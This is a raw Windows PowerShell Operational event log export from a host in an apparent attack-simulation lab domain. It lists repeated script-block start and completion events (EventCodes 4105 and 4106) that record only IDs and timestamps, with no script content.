Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030065
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030059
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030035
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030034
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030033
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030032
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
